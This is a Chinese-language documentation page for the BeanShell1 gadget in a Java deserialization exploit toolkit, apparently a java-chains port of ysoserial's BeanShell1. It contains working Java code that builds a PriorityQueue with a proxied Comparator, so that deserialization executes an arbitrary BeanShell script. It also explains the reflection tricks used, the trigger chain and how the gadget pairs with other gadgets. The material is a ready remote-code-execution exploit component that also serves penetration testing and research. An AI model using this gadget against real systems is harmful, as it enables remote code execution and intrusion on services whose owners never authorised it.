- 类别:javanative 别名:— 优先级:—
- 作者:pwntester、cschneider4711
- 依赖:
org.beanshell:bsh:2.0b5
构造一个以「BeanShell 脚本」为后盾的 Comparator 动态代理,放入 PriorityQueue。Java 原生反序列化 PriorityQueue.readObject 会调用比较器的 compare,经 bsh 的 XThis InvocationHandler 触发预置的 BeanShell 脚本执行,从而 RCE。是 ysoserial 经典 BeanShell1 的 java-chains 移植版。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口(PriorityQueue.readObject)。 - 衔接
nextTags:Beanshell_Expr—— 下游(内层)需提供一段 BeanShell 表达式字符串,见 BeanshellConvert、UserCustomExpr。 excludes:无。
public PriorityQueue getObject(String beanshell) throws Exception {
String payload = "compare(Object foo, Object bar) {%s;return new Integer(1);}"; // 把脚本塞进 compare 方法体
Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
setu.setAccessible(true);
setu.invoke(i, "bsh.cwd", "."); // 反射设置 bsh 工作目录,规避初始化缺失
i.eval(String.format(payload, beanshell)); // 在解释器命名空间内定义 compare()
XThis xt = new XThis(i.getNameSpace(), i); // XThis 承载该命名空间
InvocationHandler handler = (InvocationHandler)
Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // 取出 bsh 的 InvocationHandler
Comparator comparator = (Comparator) Proxy.newProxyInstance( // 代理成 Comparator
Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = new Object[]{1, 1}; // 反射直接写底层数组,避免 add 时提前 compare
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}beanshell参数来自chain.doCreate(context)(内层 gadget 产出的脚本字符串),本 gadget 不写死脚本,实现可插拔 payload。- 关键点:脚本被包进
compare(Object,Object){...;return new Integer(1);},因此 bsh 命名空间里存在名为compare的方法;XThis的 InvocationHandler 在被当作Comparator调用compare时,会派发到该 bsh 方法并执行其中的脚本。 - 直接反射写入底层数组
queue与size=2,绕过PriorityQueue.add阶段的比较(否则会在构造时就触发脚本或报错)。
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((String) chain.doCreate(context));
}触发链:PriorityQueue.readObject → heapify → siftDown → comparator.compare → (Proxy) bsh XThis.invoke → 执行 BeanShell 脚本。
本类无独立 @Param;BeanShell 脚本由下游 Beanshell_Expr gadget 经 chain.doCreate 注入。
- 依赖
bsh:2.0b5(BeanShell)在目标 classpath。 - 与 ysoserial
BeanShell1同源,但通过setu("bsh.cwd",".")反射修复了解释器工作目录,兼容性更好。 - 触发面为
PriorityQueue,适用于绝大多数走 Java 原生反序列化的入口;无需 commons-collections。
自由构件,未直接出现在预设链(usedInChains 为空)。可与 BeanshellConvert 组合(对应预设链「BeanshellRef 利用」的思路,但那条走 JNDI/BeanshellRef 变体)。
- 下游(
nextTags=Beanshell_Expr):BeanshellConvert、UserCustomExpr—— 提供 BeanShell 脚本文本。 - 同族:BeanShell2 —— 相同思路的另一实现(用反射构造
XThis并add元素后再替换比较器)。